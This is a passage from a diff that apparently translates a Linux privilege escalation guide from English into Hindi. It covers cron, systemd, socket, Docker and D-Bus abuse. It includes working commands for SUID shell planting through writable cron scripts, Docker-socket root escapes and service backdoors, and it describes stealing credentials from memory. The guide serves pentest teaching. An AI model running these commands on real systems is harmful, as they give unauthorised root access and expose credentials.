grep -i password ``` - #### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **steal clear text credentials from memory** and from some **well known files**. It requires root privileges to work properly. +उपकरण [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **मेमोरी से स्पष्ट पाठ क्रेडेंशियल्स** और कुछ **ज्ञात फ़ाइलों** से **चोरी करेगा**। इसे सही तरीके से काम करने के लिए रूट विशेषाधिकारों की आवश्यकता होती है। -| Feature | Process Name | +| विशेषता | प्रक्रिया का नाम | | ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| GDM पासवर्ड (Kali डेस्कटॉप, Debian डेस्कटॉप) | gdm-password | +| Gnome कीरिंग (Ubuntu डेस्कटॉप, ArchLinux डेस्कटॉप) | gnome-keyring-daemon | +| LightDM (Ubuntu डेस्कटॉप) | lightdm | +| VSFTPd (सक्रिय FTP कनेक्शन) | vsftpd | +| Apache2 (सक्रिय HTTP बेसिक ऑथ सत्र) | apache2 | +| OpenSSH (सक्रिय SSH सत्र - Sudo उपयोग) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) - ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -372,186 +313,158 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` - ## Scheduled/Cron jobs -Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). - +जांचें कि क्या कोई निर्धारित कार्य कमजोर है। शायद आप एक स्क्रिप्ट का लाभ उठा सकते हैं जो रूट द्वारा निष्पादित की जा रही है (वाइल्डकार्ड vuln? क्या रूट द्वारा उपयोग की जाने वाली फ़ाइलों को संशोधित कर सकते हैं? क्या सिम्लिंक्स का उपयोग कर सकते हैं? क्या रूट द्वारा उपयोग की जाने वाली निर्देशिका में विशिष्ट फ़ाइलें बना सकते हैं?)। ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` - ### Cron path -For example, inside _/etc/crontab_ you can find the PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +उदाहरण के लिए, _/etc/crontab_ के अंदर आप PATH पा सकते हैं: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Note how the user "user" has writing privileges over /home/user_) - -If inside this crontab the root user tries to execute some command or script without setting the path. For example: _\* \* \* \* root overwrite.sh_\ -Then, you can get a root shell by using: +(_ध्यान दें कि उपयोगकर्ता "user" के पास /home/user पर लिखने के अधिकार हैं_) +यदि इस क्रॉनटैब के अंदर रूट उपयोगकर्ता बिना पथ सेट किए किसी कमांड या स्क्रिप्ट को निष्पादित करने की कोशिश करता है। उदाहरण के लिए: _\* \* \* \* root overwrite.sh_\ +तो, आप इसका उपयोग करके एक रूट शेल प्राप्त कर सकते हैं: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` +### Cron एक स्क्रिप्ट का उपयोग करके जो वाइल्डकार्ड (Wildcard Injection) है -### Cron using a script with a wildcard (Wildcard Injection) - -If a script is executed by root has a “**\***” inside a command, you could exploit this to make unexpected things (like privesc). Example: - +यदि एक स्क्रिप्ट जिसे रूट द्वारा निष्पादित किया गया है, एक कमांड के अंदर “**\***” है, तो आप इसका उपयोग अप्रत्याशित चीजें (जैसे privesc) करने के लिए कर सकते हैं। उदाहरण: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` +**यदि वाइल्डकार्ड के पहले एक पथ हो जैसे** _**/some/path/\***_ **, तो यह संवेदनशील नहीं है (यहां तक कि** _**./\***_ **भी नहीं है)।** -**If the wildcard is preceded of a path like** _**/some/path/\***_ **, it's not vulnerable (even** _**./\***_ **is not).** - -Read the following page for more wildcard exploitation tricks: +अधिक वाइल्डकार्ड शोषण चालों के लिए निम्नलिखित पृष्ठ पढ़ें: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Cron script overwriting and symlink - -If you **can modify a cron script** executed by root, you can get a shell very easily: +### क्रोन स्क्रिप्ट ओवरराइटिंग और सिम्लिंक +यदि आप **एक क्रोन स्क्रिप्ट को संशोधित कर सकते हैं** जो रूट द्वारा निष्पादित होती है, तो आप बहुत आसानी से एक शेल प्राप्त कर सकते हैं: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` - -If the script executed by root uses a **directory where you have full access**, maybe it could be useful to delete that folder and **create a symlink folder to another one** serving a script controlled by you - +यदि रूट द्वारा निष्पादित स्क्रिप्ट एक **निर्देशिका का उपयोग करती है जहाँ आपके पास पूर्ण पहुंच है**, तो शायद उस फ़ोल्डर को हटाना और **एक सिम्लिंक फ़ोल्डर बनाना उपयोगी हो सकता है** जो एक स्क्रिप्ट को नियंत्रित करता है जो आपके द्वारा नियंत्रित है। ```bash ln -d -s ``` - ### Frequent cron jobs -You can monitor the processes to search for processes that are being executed every 1, 2 or 5 minutes. Maybe you can take advantage of it and escalate privileges. - -For example, to **monitor every 0.1s during 1 minute**, **sort by less executed commands** and delete the commands that have been executed the most, you can do: +आप प्रक्रियाओं की निगरानी कर सकते हैं ताकि उन प्रक्रियाओं की खोज की जा सके जो हर 1, 2 या 5 मिनट में चल रही हैं। शायद आप इसका लाभ उठा सकते हैं और विशेषाधिकार बढ़ा सकते हैं। +उदाहरण के लिए, **1 मिनट के लिए हर 0.1 सेकंड की निगरानी करने के लिए**, **कम चलाए गए कमांड के अनुसार क्रमबद्ध करें** और उन कमांड को हटा दें जो सबसे अधिक चलाए गए हैं, आप कर सकते हैं: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` +**आप भी** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **का उपयोग कर सकते हैं** (यह हर प्रक्रिया की निगरानी करेगा और सूचीबद्ध करेगा जो शुरू होती है)। -**You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that starts). - -### Invisible cron jobs - -It's possible to create a cronjob **putting a carriage return after a comment** (without newline character), and the cron job will work. Example (note the carriage return char): +### अदृश्य क्रोन जॉब्स +एक क्रोनजॉब **एक टिप्पणी के बाद कैरिज रिटर्न डालकर** (बिना न्यूलाइन कैरेक्टर के) बनाना संभव है, और क्रोन जॉब काम करेगा। उदाहरण (कैरिज रिटर्न कैरेक्टर पर ध्यान दें): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` +## सेवाएँ -## Services +### Writable _.service_ फ़ाइलें -### Writable _.service_ files +जांचें कि क्या आप किसी `.service` फ़ाइल को लिख सकते हैं, यदि आप कर सकते हैं, तो आप इसे **संशोधित कर सकते हैं** ताकि यह **आपका बैकडोर चलाए** जब सेवा **शुरू**, **पुनः शुरू** या **रोक दी** जाती है (शायद आपको मशीन के पुनरारंभ होने का इंतजार करना पड़े)।\ +उदाहरण के लिए, .service फ़ाइल के अंदर अपने बैकडोर को **`ExecStart=/tmp/script.sh`** के साथ बनाएं। -Check if you can write any `.service` file, if you can, you **could modify it** so it **executes** your **backdoor when** the service is **started**, **restarted** or **stopped** (maybe you will need to wait until the machine is rebooted).\ -For example create your backdoor inside the .service file with **`ExecStart=/tmp/script.sh`** +### Writable सेवा बाइनरी -### Writable service binaries +ध्यान रखें कि यदि आपके पास **सेवाओं द्वारा निष्पादित बाइनरी पर लिखने की अनुमति है**, तो आप उन्हें बैकडोर के लिए बदल सकते हैं ताकि जब सेवाएँ फिर से निष्पादित हों, तो बैकडोर चलाए जाएँ। -Keep in mind that if you have **write permissions over binaries being executed by services**, you can change them for backdoors so when the services get re-executed the backdoors will be executed. - -### systemd PATH - Relative Paths - -You can see the PATH used by **systemd** with: +### systemd PATH - सापेक्ष पथ +आप **systemd** द्वारा उपयोग किए जाने वाले PATH को देख सकते हैं: ```bash systemctl show-environment ``` - -If you find that you can **write** in any of the folders of the path you may be able to **escalate privileges**. You need to search for **relative paths being used on service configurations** files like: - +यदि आप पाते हैं कि आप पथ के किसी भी फ़ोल्डर में **लिख** सकते हैं, तो आप **अधिकार बढ़ाने** में सक्षम हो सकते हैं। आपको सेवा कॉन्फ़िगरेशन फ़ाइलों में **सापेक्ष पथों** के उपयोग की खोज करने की आवश्यकता है जैसे: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` +फिर, एक **executables** बनाएं जिसका **नाम उस सापेक्ष पथ बाइनरी** के समान हो जो systemd PATH फ़ोल्डर के अंदर है जिसमें आप लिख सकते हैं, और जब सेवा को कमजोर क्रिया (**Start**, **Stop**, **Reload**) को निष्पादित करने के लिए कहा जाता है, तो आपका **backdoor निष्पादित होगा** (अधिकारहीन उपयोगकर्ता आमतौर पर सेवाओं को शुरू/रोक नहीं सकते लेकिन जांचें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)। -Then, create an **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (**Start**, **Stop**, **Reload**), your **backdoor will be executed** (unprivileged users usually cannot start/stop services but check if you can use `sudo -l`). - -**Learn more about services with `man systemd.service`.** +**सेवाओं के बारे में अधिक जानें `man systemd.service` के साथ।** ## **Timers** -**Timers** are systemd unit files whose name ends in `**.timer**` that control `**.service**` files or events. **Timers** can be used as an alternative to cron as they have built-in support for calendar time events and monotonic time events and can be run asynchronously. - -You can enumerate all the timers with: +**Timers** systemd यूनिट फ़ाइलें हैं जिनका नाम `**.timer**` में समाप्त होता है जो `**.service**` फ़ाइलों या घटनाओं को नियंत्रित करता है। **Timers** को क्रॉन के विकल्प के रूप में उपयोग किया जा सकता है क्योंकि इनमें कैलेंडर समय घटनाओं और मोनोटोनिक समय घटनाओं के लिए अंतर्निहित समर्थन होता है और इन्हें असिंक्रोनस रूप से चलाया जा सकता है। +आप सभी टाइमर्स को सूचीबद्ध कर सकते हैं: ```bash systemctl list-timers --all ``` - ### Writable timers -If you can modify a timer you can make it execute some existents of systemd.unit (like a `.service` or a `.target`) - +यदि आप एक टाइमर को संशोधित कर सकते हैं, तो आप इसे systemd.unit के कुछ उदाहरणों (जैसे `.service` या `.target`) को निष्पादित करने के लिए बना सकते हैं। ```bash Unit=backdoor.service ``` +डॉक्यूमेंटेशन में आप पढ़ सकते हैं कि यूनिट क्या है: -In the documentation you can read what the Unit is: +> वह यूनिट जिसे इस टाइमर के समाप्त होने पर सक्रिय किया जाना है। तर्क एक यूनिट नाम है, जिसका उपसर्ग ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान उस सेवा का डिफ़ॉल्ट होता है जिसका नाम टाइमर यूनिट के समान होता है, सिवाय उपसर्ग के। (ऊपर देखें।) यह अनुशंसा की जाती है कि सक्रिय की जाने वाली यूनिट का नाम और टाइमर यूनिट का नाम समान रूप से नामित किया जाए, सिवाय उपसर्ग के। -> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +इसलिए, इस अनुमति का दुरुपयोग करने के लिए आपको चाहिए: -Therefore, to abuse this permission you would need to: +- कुछ systemd यूनिट (जैसे `.service`) खोजें जो **एक लिखने योग्य बाइनरी** को **निष्पादित** कर रही है +- कुछ systemd यूनिट खोजें जो **एक सापेक्ष पथ** को **निष्पादित** कर रही है और आपके पास **systemd PATH** पर **लिखने के अधिकार** हैं (उस निष्पादन योग्य की नकल करने के लिए) -- Find some systemd unit (like a `.service`) that is **executing a writable binary** -- Find some systemd unit that is **executing a relative path** and you have **writable privileges** over the **systemd PATH** (to impersonate that executable) +**`man systemd.timer` के साथ टाइमर्स के बारे में अधिक जानें।** -**Learn more about timers with `man systemd.timer`.** - -### **Enabling Timer** - -To enable a timer you need root privileges and to execute: +### **टाइमर सक्षम करना** +टाइमर को सक्षम करने के लिए आपको रूट विशेषाधिकार की आवश्यकता है और निष्पादित करना होगा: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` +नोट करें कि **टाइमर** को `/etc/systemd/system/.wants/.timer` पर इसके लिए एक सिम्लिंक बनाकर **सक्रिय** किया जाता है। -Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +## सॉकेट्स -## Sockets +यूनिक्स डोमेन सॉकेट्स (UDS) **प्रक्रिया संचार** को समान या विभिन्न मशीनों पर क्लाइंट-सेर्वर मॉडल के भीतर सक्षम करते हैं। वे इंटर-कंप्यूटर संचार के लिए मानक यूनिक्स डिस्क्रिप्टर फ़ाइलों का उपयोग करते हैं और `.socket` फ़ाइलों के माध्यम से सेट अप किए जाते हैं। -Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. +सॉकेट्स को `.socket` फ़ाइलों का उपयोग करके कॉन्फ़िगर किया जा सकता है। -Sockets can be configured using `.socket` files. +**`man systemd.socket` के साथ सॉकेट्स के बारे में अधिक जानें।** इस फ़ाइल के अंदर, कई दिलचस्प पैरामीटर कॉन्फ़िगर किए जा सकते हैं: -**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग हैं लेकिन एक सारांश का उपयोग **यह इंगित करने के लिए किया जाता है कि यह सॉकेट पर कहां सुनेगा** (AF_UNIX सॉकेट फ़ाइल का पथ, IPv4/6 और/या सुनने के लिए पोर्ट नंबर, आदि) +- `Accept`: एक बूलियन तर्क लेता है। यदि **सत्य**, तो **प्रत्येक आने वाले कनेक्शन के लिए एक सेवा उदाहरण उत्पन्न होता है** और केवल कनेक्शन सॉकेट इसे सौंपा जाता है। यदि **झूठ**, तो सभी सुनने वाले सॉकेट स्वयं **शुरू की गई सेवा इकाई** को सौंपे जाते हैं, और सभी कनेक्शनों के लिए केवल एक सेवा इकाई उत्पन्न होती है। यह मान डाटाग्राम सॉकेट और FIFOs के लिए अनदेखा किया जाता है जहां एकल सेवा इकाई बिना शर्त सभी आने वाले ट्रैफ़िक को संभालती है। **डिफ़ॉल्ट रूप से झूठा है**। प्रदर्शन कारणों से, नए डेमनों को केवल `Accept=no` के लिए उपयुक्त तरीके से लिखने की सिफारिश की जाती है। +- `ExecStartPre`, `ExecStartPost`: एक या एक से अधिक कमांड लाइनों को लेता है, जो **सुनने वाले** **सॉकेट्स**/FIFOs के **निर्माण** और बंधन से पहले या बाद में **निष्पादित** होते हैं। कमांड लाइन का पहला टोकन एक पूर्ण फ़ाइल नाम होना चाहिए, उसके बाद प्रक्रिया के लिए तर्क होते हैं। +- `ExecStopPre`, `ExecStopPost`: अतिरिक्त **कमांड** जो **सुनने वाले** **सॉकेट्स**/FIFOs के **बंद** और हटाए जाने से पहले या बाद में **निष्पादित** होते हैं। +- `Service`: **आने वाले ट्रैफ़िक** पर **सक्रिय** करने के लिए **सेवा** इकाई का नाम निर्दिष्ट करता है। यह सेटिंग केवल उन सॉकेट्स के लिए अनुमति है जिनका Accept=no है। यह उस सेवा पर डिफ़ॉल्ट होता है जिसका नाम सॉकेट के समान होता है (जिसका उपसर्ग बदला गया हो)। अधिकांश मामलों में, इस विकल्प का उपयोग करना आवश्यक नहीं होना चाहिए। -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) -- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. -- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. -- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. +### Writable .socket फ़ाइलें -### Writable .socket files +यदि आप एक **लिखने योग्य** `.socket` फ़ाइल पाते हैं तो आप `[Socket]` अनुभाग के शुरू में कुछ इस तरह जोड़ सकते हैं: `ExecStartPre=/home/kali/sys/backdoor` और बैकडोर सॉकेट के निर्माण से पहले निष्पादित होगा। इसलिए, आपको **संभवतः मशीन के पुनरारंभ होने की प्रतीक्षा करनी होगी।**\ +&#xNAN;_Nोट करें कि सिस्टम को उस सॉकेट फ़ाइल कॉन्फ़िगरेशन का उपयोग करना चाहिए या बैकडोर निष्पादित नहीं होगा_ -If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ -&#xNAN;_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +### Writable सॉकेट्स -### Writable sockets - -If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. - -### Enumerate Unix Sockets +यदि आप **कोई लिखने योग्य सॉकेट पहचानते हैं** (_अब हम यूनिक्स सॉकेट्स के बारे में बात कर रहे हैं और कॉन्फ़िगरेशन `.socket` फ़ाइलों के बारे में नहीं_), तो **आप उस सॉकेट के साथ संवाद कर सकते हैं** और शायद एक भेद्यता का शोषण कर सकते हैं। +### यूनिक्स सॉकेट्स की गणना करें ```bash netstat -a -p --unix ``` - -### Raw connection - +### कच्चा कनेक्शन ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -560,93 +473,88 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` - -**Exploitation example:** +**शोषण उदाहरण:** {{#ref}} socket-command-injection.md {{#endref}} -### HTTP sockets - -Note that there may be some **sockets listening for HTTP** requests (_I'm not talking about .socket files but the files acting as unix sockets_). You can check this with: +### HTTP सॉकेट +ध्यान दें कि कुछ **सॉकेट HTTP** अनुरोधों के लिए सुन रहे हो सकते हैं (_मैं .socket फ़ाइलों की बात नहीं कर रहा हूँ बल्कि उन फ़ाइलों की जो यूनिक्स सॉकेट के रूप में कार्य कर रही हैं_)। आप इसे इस तरह जांच सकते हैं: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` - -If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. +यदि सॉकेट **HTTP** अनुरोध के साथ **प्रतिक्रिया** करता है, तो आप इसके साथ **संवाद** कर सकते हैं और शायद **कुछ कमजोरियों का लाभ** उठा सकते हैं। ### Writable Docker Socket -The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. +Docker सॉकेट, जो अक्सर `/var/run/docker.sock` पर पाया जाता है, एक महत्वपूर्ण फ़ाइल है जिसे सुरक्षित किया जाना चाहिए। डिफ़ॉल्ट रूप से, यह `root` उपयोगकर्ता और `docker` समूह के सदस्यों द्वारा लिखा जा सकता है। इस सॉकेट तक लिखने की पहुंच होना विशेषाधिकार वृद्धि का कारण बन सकता है। यहाँ बताया गया है कि यह कैसे किया जा सकता है और वैकल्पिक विधियाँ यदि Docker CLI उपलब्ध नहीं है। #### **Privilege Escalation with Docker CLI** -If you have write access to the Docker socket, you can escalate privileges using the following commands: - +यदि आपके पास Docker सॉकेट तक लिखने की पहुंच है, तो आप निम्नलिखित कमांड का उपयोग करके विशेषाधिकार बढ़ा सकते हैं: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` +ये कमांड आपको होस्ट के फ़ाइल सिस्टम पर रूट-स्तरीय पहुँच के साथ एक कंटेनर चलाने की अनुमति देती हैं। -These commands allow you to run a container with root-level access to the host's file system. +#### **डॉकर एपीआई का सीधे उपयोग करना** -#### **Using Docker API Directly** +उन मामलों में जहाँ डॉकर CLI उपलब्ध नहीं है, डॉकर सॉकेट को डॉकर एपीआई और `curl` कमांड का उपयोग करके अभी भी संशोधित किया जा सकता है। -In cases where the Docker CLI isn't available, the Docker socket can still be manipulated using the Docker API and `curl` commands. +1. **डॉकर इमेज़ की सूची:** उपलब्ध इमेज़ की सूची प्राप्त करें। -1. **List Docker Images:** Retrieve the list of available images. +```bash +curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json +``` - ```bash - curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json - ``` +2. **एक कंटेनर बनाएं:** एक अनुरोध भेजें ताकि एक कंटेनर बनाया जा सके जो होस्ट सिस्टम की रूट डायरेक्टरी को माउंट करता है। -2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. +```bash +curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create +``` - ```bash - curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create - ``` +नए बनाए गए कंटेनर को शुरू करें: - Start the newly created container: +```bash +curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start +``` - ```bash - curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start - ``` +3. **कंटेनर से जुड़ें:** कंटेनर से कनेक्शन स्थापित करने के लिए `socat` का उपयोग करें, जिससे इसके भीतर कमांड निष्पादन सक्षम हो सके। -3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. +```bash +socat - UNIX-CONNECT:/var/run/docker.sock +POST /containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 +Host: +Connection: Upgrade +Upgrade: tcp +``` - ```bash - socat - UNIX-CONNECT:/var/run/docker.sock - POST /containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 - Host: - Connection: Upgrade - Upgrade: tcp - ``` +`socat` कनेक्शन सेट करने के बाद, आप होस्ट के फ़ाइल सिस्टम पर रूट-स्तरीय पहुँच के साथ सीधे कंटेनर में कमांड निष्पादित कर सकते हैं। -After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem. +### अन्य -### Others +ध्यान दें कि यदि आपके पास डॉकर सॉकेट पर लिखने की अनुमति है क्योंकि आप **`docker` समूह के अंदर हैं** तो आपके पास [**अधिकार बढ़ाने के अधिक तरीके हैं**](interesting-groups-linux-pe/#docker-group)। यदि [**डॉकर एपीआई किसी पोर्ट पर सुन रहा है** तो आप इसे भी समझौता कर सकते हैं](../../network-services-pentesting/2375-pentesting-docker.md#compromising)। -Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). - -Check **more ways to break out from docker or abuse it to escalate privileges** in: +**डॉकर से बाहर निकलने या इसे अधिकार बढ़ाने के लिए दुरुपयोग करने के अधिक तरीकों की जाँच करें**: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) privilege escalation +## कंटेनरडी (ctr) अधिकार बढ़ाना -If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: +यदि आप पाते हैं कि आप **`ctr`** कमांड का उपयोग कर सकते हैं तो कृपया निम्नलिखित पृष्ठ को पढ़ें क्योंकि **आप इसे अधिकार बढ़ाने के लिए दुरुपयोग कर सकते हैं**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** privilege escalation +## **RunC** अधिकार बढ़ाना -If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: +यदि आप पाते हैं कि आप **`runc`** कमांड का उपयोग कर सकते हैं तो कृपया निम्नलिखित पृष्ठ को पढ़ें क्योंकि **आप इसे अधिकार बढ़ाने के लिए दुरुपयोग कर सकते हैं**: {{#ref}} runc-privilege-escalation.md @@ -654,37 +562,34 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus is a sophisticated **inter-Process Communication (IPC) system** that enables applications to efficiently interact and share data. Designed with the modern Linux system in mind, it offers a robust framework for different forms of application communication. +D-Bus एक जटिल **इंटर-प्रोसेस कम्युनिकेशन (IPC) सिस्टम** है जो अनुप्रयोगों को प्रभावी ढंग से बातचीत करने और डेटा साझा करने में सक्षम बनाता है। इसे आधुनिक लिनक्स सिस्टम को ध्यान में रखते हुए डिज़ाइन किया गया है, यह विभिन्न प्रकार के अनुप्रयोग संचार के लिए एक मजबूत ढांचा प्रदान करता है। -The system is versatile, supporting basic IPC that enhances data exchange between processes, reminiscent of **enhanced UNIX domain sockets**. Moreover, it aids in broadcasting events or signals, fostering seamless integration among system components. For instance, a signal from a Bluetooth daemon about an incoming call can prompt a music player to mute, enhancing user experience. Additionally, D-Bus supports a remote object system, simplifying service requests and method invocations between applications, streamlining processes that were traditionally complex. +यह प्रणाली बहुपरकारी है, जो प्रक्रियाओं के बीच डेटा विनिमय को बढ़ाने के लिए बुनियादी IPC का समर्थन करती है, जो **सुधारित UNIX डोमेन सॉकेट्स** की याद दिलाती है। इसके अलावा, यह घटनाओं या संकेतों को प्रसारित करने में मदद करती है, जिससे सिस्टम घटकों के बीच निर्बाध एकीकरण को बढ़ावा मिलता है। उदाहरण के लिए, एक आने वाली कॉल के बारे में ब्लूटूथ डेमन से एक संकेत एक संगीत खिलाड़ी को म्यूट करने के लिए प्रेरित कर सकता है, जिससे उपयोगकर्ता अनुभव में सुधार होता है। इसके अतिरिक्त, D-Bus एक दूरस्थ ऑब्जेक्ट सिस्टम का समर्थन करता है, जो अनुप्रयोगों के बीच सेवा अनुरोधों और विधि कॉल को सरल बनाता है, उन प्रक्रियाओं को सुव्यवस्थित करता है जो पारंपरिक रूप से जटिल थीं। -D-Bus operates on an **allow/deny model**, managing message permissions (method calls, signal emissions, etc.) based on the cumulative effect of matching policy rules. These policies specify interactions with the bus, potentially allowing for privilege escalation through the exploitation of these permissions. +D-Bus एक **अनुमति/निषेध मॉडल** पर काम करता है, जो संदेश अनुमतियों (विधि कॉल, संकेत उत्सर्जन, आदि) का प्रबंधन करता है जो नीति नियमों के मिलान के संचयी प्रभाव के आधार पर होता है। ये नीतियाँ बस के साथ इंटरैक्शन को निर्दिष्ट करती हैं, जो इन अनुमतियों के शोषण के माध्यम से अधिकार बढ़ाने की अनुमति दे सकती हैं। -An example of such a policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` is provided, detailing permissions for the root user to own, send to, and receive messages from `fi.w1.wpa_supplicant1`. - -Policies without a specified user or group apply universally, while "default" context policies apply to all not covered by other specific policies. +`/etc/dbus-1/system.d/wpa_supplicant.conf` में ऐसी नीति का एक उदाहरण प्रदान किया गया है, जो रूट उपयोगकर्ता के लिए `fi.w1.wpa_supplicant1` से संदेश भेजने, प्राप्त करने और स्वामित्व रखने की अनुमति देती है। +बिना निर्दिष्ट उपयोगकर्ता या समूह वाली नीतियाँ सार्वभौमिक रूप से लागू होती हैं, जबकि "डिफ़ॉल्ट" संदर्भ नीतियाँ उन सभी पर लागू होती हैं जो अन्य विशिष्ट नीतियों द्वारा कवर नहीं की गई हैं। ```xml - - - - + + + + ``` - -**Learn how to enumerate and exploit a D-Bus communication here:** +**यहाँ D-Bus संचार को सूचीबद्ध करने और शोषण करने का तरीका सीखें:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md 